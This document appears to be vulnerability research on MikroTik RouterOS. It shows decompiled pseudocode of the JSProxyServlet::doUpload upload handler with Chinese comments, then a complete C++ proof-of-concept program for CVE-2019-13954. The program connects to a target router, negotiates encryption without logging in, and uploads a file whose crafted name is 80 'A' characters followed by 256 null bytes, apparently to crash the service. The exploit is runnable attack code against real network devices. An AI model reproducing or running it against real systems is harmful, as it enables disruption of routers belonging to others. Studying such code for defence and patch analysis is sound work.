int __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4)
{
//...
 while ( 1 )
  {
sub_51F7(v37, &s1); //读取POST请求
if ( !s1 )
  break;
v14 = -1;
v15 = &s1;
do
{
  if ( !v14 )
break;
  v16 = *v15++ == 0;
  --v14;
}
while ( !v16 );
if ( v14 != 0x100u )//数据长度限制
{
  v36 = 0;
  string::string((string *)&v46, &s1);
  v17 = Headers::parseHeaderLine((Headers *)&v47, (const string *)&v46);
  string::freeptr((string *)&v46);
  if ( v17 )
continue;
}
string::string((string *)&v46, "");
Response::sendError(a4, 400, (const string *)&v46);
string::freeptr((string *)&v46);
LABEL_60:
tree_base::clear(v19, v18, &v47, map_node_destr<string,HeaderField>);
goto LABEL_61;
  }
  //...
}

int __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4)
{
// ...
while ( 1 )
{
sub_77464E9F(v27, (char *)s1);   // 读取POST请求数据
if ( !LOBYTE(s1[0]) )
break;
string::string((string *)&v36, (const char *)s1);
v11 = Headers::parseHeaderLine((Headers *)&v37, (const string *)&v36);
string::freeptr((string *)&v36);
if ( !v11 )
{
string::string((string *)&v36, "");
Response::sendError(a4, 400, (const string *)&v36);
string::freeptr((string *)&v36);
LABEL_56:
tree_base::clear(v13, v12, &v37, map_node_destr<string,HeaderField>);
goto LABEL_57;
}
}
// ...
}

char *__usercall sub_51F7@<eax>(istream *a1@<eax>, char *a2@<edx>)
{
  const char *v2; // esi
  char *result; // eax
  unsigned int v4; // ecx
  v2 = a2;
  istream::getline(a1, a2, 0x100u, 10);
  result = 0;
  v4 = strlen(v2) + 1;
  if ( v4 != 1 )
  {
result = (char *)&v2[v4 - 2];
if ( *result == 13 )
  *result = 0;
  }
  return result;
}

#include <cstdlib>
#include <iostream>
#include <boost/cstdint.hpp>
#include <boost/program_options.hpp>
#include "jsproxy_session.hpp"
#include "winbox_message.hpp"
namespace
{
const char s_version[] = "CVE-2019-13954 PoC 1.1.0";
bool parseCommandLine(int p_argCount, const char* p_argArray[],
  std::string& p_username, std::string& p_password,
  std::string& p_ip, std::string& p_port)
{
boost::program_options::options_description description("options");
description.add_options()
("help,h", "A list of command line options")
("version,v", "Display version information")
("username,u", boost::program_options::value<std::string>(), "The user to log in as")
("password", boost::program_options::value<std::string>(), "The password to log in with")
("port,p", boost::program_options::value<std::string>()->default_value("80"), "The HTTP port to connect to")
("ip,i", boost::program_options::value<std::string>(), "The IPv4 address to connect to");
boost::program_options::variables_map argv_map;
try
{
boost::program_options::store(
boost::program_options::parse_command_line(
p_argCount, p_argArray, description), argv_map);
}
catch (const std::exception& e)
{
std::cerr << e.what() << "\n" << std::endl;
std::cerr << description << std::endl;
return false;
}
boost::program_options::notify(argv_map);
if (argv_map.empty() || argv_map.count("help"))
{
std::cerr << description << std::endl;
return false;
}
if (argv_map.count("version"))
{
std::cerr << "Version: " << ::s_version << std::endl;
return false;
}
if (argv_map.count("username") && argv_map.count("ip") &
argv_map.count("port"))
{
p_username.assign(argv_map["username"].as<std::string>());
p_ip.assign(argv_map["ip"].as<std::string>());
p_port.assign(argv_map["port"].as<std::string>());
if (argv_map.count("password"))
{
p_password.assign(argv_map["password"].as<std::string>());
}
else
{
p_password.assign("");
}
return true;
}
else
{
std::cerr << description << std::endl;
}
return false;
}
}
int main(int p_argc, const char** p_argv)
{
std::string username;
std::string password;
std::string ip;
std::string port;
if (!parseCommandLine(p_argc, p_argv, username, password, ip, port))
{
return EXIT_FAILURE;
}
JSProxySession jsSession(ip, port);
if (!jsSession.connect())
{
std::cerr << "Failed to connect to the remote host" << std::endl;
return EXIT_FAILURE;
}
// generate the session key but don't log in
if (!jsSession.negotiateEncryption(username, password, false))
{
std::cerr << "Encryption negotiation failed." << std::endl;
return EXIT_FAILURE;
}
std::string filename;
for (int i = 0; i < 0x50; i++)
{
  filename.push_back('A');
}
for (int i = 0; i < 0x100; i++)
{
  filename.push_back('\x00');
}
if (jsSession.uploadFile(filename, "lol."))
{
std::cout << "success!" << std::endl;
}
return EXIT_SUCCESS;
}